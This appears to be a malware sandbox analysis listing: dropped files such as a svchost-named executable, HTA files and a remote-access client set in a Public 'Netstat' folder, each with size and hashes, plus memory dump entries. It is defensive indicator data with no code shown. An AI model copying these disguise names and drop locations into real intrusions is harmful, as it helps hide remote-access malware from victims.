  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wxmng5gl.upl.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\backDosO4.hta
    Filesize

    717B

    MD5

    6f8742533e8663a728e4192e283dcb28

    SHA1

    77720763d74388a6b12c6ffecde41e232f3eb3df

    SHA256

    a3d79f96424f971e9026ccecbefd8b6bb23ad4512b165f04195185ca81658cb8

    SHA512

    cc93f8ad7124ac753f8d5e1adba560a9908ae43c0958c9842397f081e93f9bbb5e8c5a7ae176db80c57857b575dac508c3d73c4d161494f7a89e23dae48c1899

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
    Filesize

    2.9MB

    MD5

    b826dd92d78ea2526e465a34324ebeea

    SHA1

    bf8a0093acfd2eb93c102e1a5745fb080575372e

    SHA256

    7824b50acdd144764dac7445a4067b35cf0fef619e451045ab6c1f54f5653a5b

    SHA512

    1ac4b731b9b31cabf3b1c43aee37206aee5326c8e786abe2ab38e031633b778f97f2d6545cf745c3066f3bd47b7aaf2ded2f9955475428100eaf271dd9aeef17

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\uwYmSUJJW.hta
    Filesize

    717B

    MD5

    4381d0404e51324100e13cc95b964e14

    SHA1

    cd05468697759801603cd59b887ac12b73d449cd

    SHA256

    2ea326cd348556ae9ed664451abdf1722ade388171bbd0049afb15c398837aaf

    SHA512

    a260342c2e5941ae872993bf55ba61812d5c0937131b2f244fcb969266a79d5cc54f8b81caa463b6c5dad7bcc5d7ac592d8e8eb3b91a433e644dba3b26d286a3

    Download Submit

  • C:\Users\Public\Netstat\HTCTL32.DLL
    Filesize

    320KB

    MD5

    2d3b207c8a48148296156e5725426c7f

    SHA1

    ad464eb7cf5c19c8a443ab5b590440b32dbc618f

    SHA256

    edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

    SHA512

    55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

    Download Submit

  • C:\Users\Public\Netstat\MSVCR100.dll
    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

    Download Submit

  • C:\Users\Public\Netstat\NSM.LIC
    Filesize

    257B

    MD5

    7067af414215ee4c50bfcd3ea43c84f0

    SHA1

    c331d410672477844a4ca87f43a14e643c863af9

    SHA256

    2050cc232710a2ea6a207bc78d1eac66a4042f2ee701cdfeee5de3ddcdc31d12

    SHA512

    17b888087192bcea9f56128d0950423b1807e294d1c4f953d1bf0f5bd08e5f8e35afeee584ebf9233bfc44e0723db3661911415798159ac118c8a42aaf0b902f

    Download Submit

  • C:\Users\Public\Netstat\PCICHEK.DLL
    Filesize

    18KB

    MD5

    a0b9388c5f18e27266a31f8c5765b263

    SHA1

    906f7e94f841d464d4da144f7c858fa2160e36db

    SHA256

    313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

    SHA512

    6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

    Download Submit

  • C:\Users\Public\Netstat\PCICL32.dll
    Filesize

    3.6MB

    MD5

    00587238d16012152c2e951a087f2cc9

    SHA1

    c4e27a43075ce993ff6bb033360af386b2fc58ff

    SHA256

    63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8

    SHA512

    637950a1f78d3f3d02c30a49a16e91cf3dfccc59104041876789bd7fdf9224d187209547766b91404c67319e13d1606da7cec397315495962cbf3e2ccd5f1226

    Download Submit

  • C:\Users\Public\Netstat\bild.exe
    Filesize

    103KB

    MD5

    8d9709ff7d9c83bd376e01912c734f0a

    SHA1

    e3c92713ce1d7eaa5e2b1fabeb06cdc0bb499294

    SHA256

    49a568f8ac11173e3a0d76cff6bc1d4b9bdf2c35c6d8570177422f142dcfdbe3

    SHA512

    042ad89ed2e15671f5df67766d11e1fa7ada8241d4513e7c8f0d77b983505d63ebfb39fefa590a2712b77d7024c04445390a8bf4999648f83dbab6b0f04eb2ee

    Download Submit

  • C:\Users\Public\Netstat\client32.ini
    Filesize

    701B

    MD5

    c83825d229c783d53edafba952e1025d

    SHA1

    25a41ed7b46d2d09d551d4ff2dab51fb3391fc21

    SHA256

    79904174dffd62c383af853737ad71f5627eb6b86dcfc31b249d2255e4f3a826

    SHA512

    bce0d33c842d5dd48e437acf406bf6ef5863559766e36ba8fe1c4201395f422ec433bcb2c1fa4a273a80d98477a64a954f532da970d041443fb09d26e18b6538

    Download Submit

  • C:\Users\Public\Netstat\netsup.bat
    Filesize

    161B

    MD5

    bb8869e7e80234a30633bd0301b57deb

    SHA1

    13790ad2bc012431324093b16c19b1e532c94e63

    SHA256

    d6f183097bf12a7f68632efecc6dc7ddac16002839229502b32cd40826dd472c

    SHA512

    7d043054fcde4c73e9e5988330a94a737360adf1b0d806efc4660d1e336e27a66149494b611969a29b873d76bc4b1278b47d1efc27a9c7bd50a1f8cdf346937a

    Download Submit

  • C:\Users\Public\Netstat\pcicapi.dll
    Filesize

    32KB

    MD5

    dcde2248d19c778a41aa165866dd52d0

    SHA1

    7ec84be84fe23f0b0093b647538737e1f19ebb03

    SHA256

    9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

    SHA512

    c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

    Download Submit

  • memory/224-342-0x0000000000400000-0x0000000000CD9000-memory.dmp

    Filesize

    8.8MB

    Download

  • memory/224-364-0x0000000000400000-0x0000000000CD9000-memory.dmp

    Filesize

    8.8MB

    Download

  • memory/924-131-0x0000000000400000-0x0000000000464000-memory.dmp

    Filesize

    400KB

    Download

  • memory/924-132-0x0000000000400000-0x0000000000464000-memory.dmp

    Filesize

    400KB

    Download

  • memory/1672-211-0x0000000006090000-0x00000000063E4000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/1684-320-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-380-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-50-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-286-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-133-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-49-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-48-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-310-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-370-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-276-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-316-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-55-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-324-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-266-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-51-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/1684-198-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/2112-24-0x0000000008B10000-0x00000000090B4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/2112-3-0x0000000005930000-0x0000000005F58000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/2112-22-0x0000000007D40000-0x0000000007DD6000-memory.dmp

    Filesize

    600KB

    Download

  • memory/2112-18-0x00000000067E0000-0x000000000682C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/2112-19-0x0000000007EE0000-0x000000000855A000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/2112-16-0x0000000006220000-0x0000000006574000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/2112-2-0x0000000002E70000-0x0000000002EA6000-memory.dmp

    Filesize

    216KB

    Download

  • memory/2112-6-0x00000000061B0000-0x0000000006216000-memory.dmp

    Filesize

    408KB

    Download

  • memory/2112-4-0x0000000005900000-0x0000000005922000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2112-5-0x00000000060D0000-0x0000000006136000-memory.dmp

    Filesize

    408KB

    Download

  • memory/2112-17-0x00000000067B0000-0x00000000067CE000-memory.dmp

    Filesize

    120KB

    Download

  • memory/2112-20-0x0000000006CA0000-0x0000000006CBA000-memory.dmp

    Filesize

    104KB

    Download

  • memory/2112-23-0x0000000007CA0000-0x0000000007CC2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2260-47-0x0000000000270000-0x0000000000734000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/2260-32-0x0000000000270000-0x0000000000734000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/2300-182-0x0000000000E90000-0x0000000001354000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/2300-187-0x0000000000E90000-0x0000000001354000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/2576-287-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/2576-289-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/3264-383-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/3448-262-0x0000000000860000-0x0000000000D24000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/3448-244-0x0000000000860000-0x0000000000D24000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/3576-277-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/3576-347-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/3576-280-0x0000000010000000-0x000000001001C000-memory.dmp

    Filesize

    112KB

    Download

  • memory/3576-304-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/3576-272-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/3576-321-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/3576-269-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/3700-361-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/3700-368-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/3700-372-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/4508-54-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/4508-53-0x0000000000BC0000-0x0000000001084000-memory.dmp

    Filesize

    4.8MB

    Download

  • memory/4928-265-0x0000000000400000-0x0000000000E1C000-memory.dmp

    Filesize

    10.1MB

    Download

  • memory/4928-199-0x0000000006D90000-0x0000000006DDC000-memory.dmp

    Filesize

    304KB

    Download

  • memory/4928-274-0x0000000000400000-0x0000000000E1C000-memory.dmp

    Filesize

    10.1MB

    Download

  • memory/4936-165-0x0000000006CE0000-0x0000000006D2C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/4936-154-0x0000000006160000-0x00000000064B4000-memory.dmp

    Filesize

    3.3MB

    Download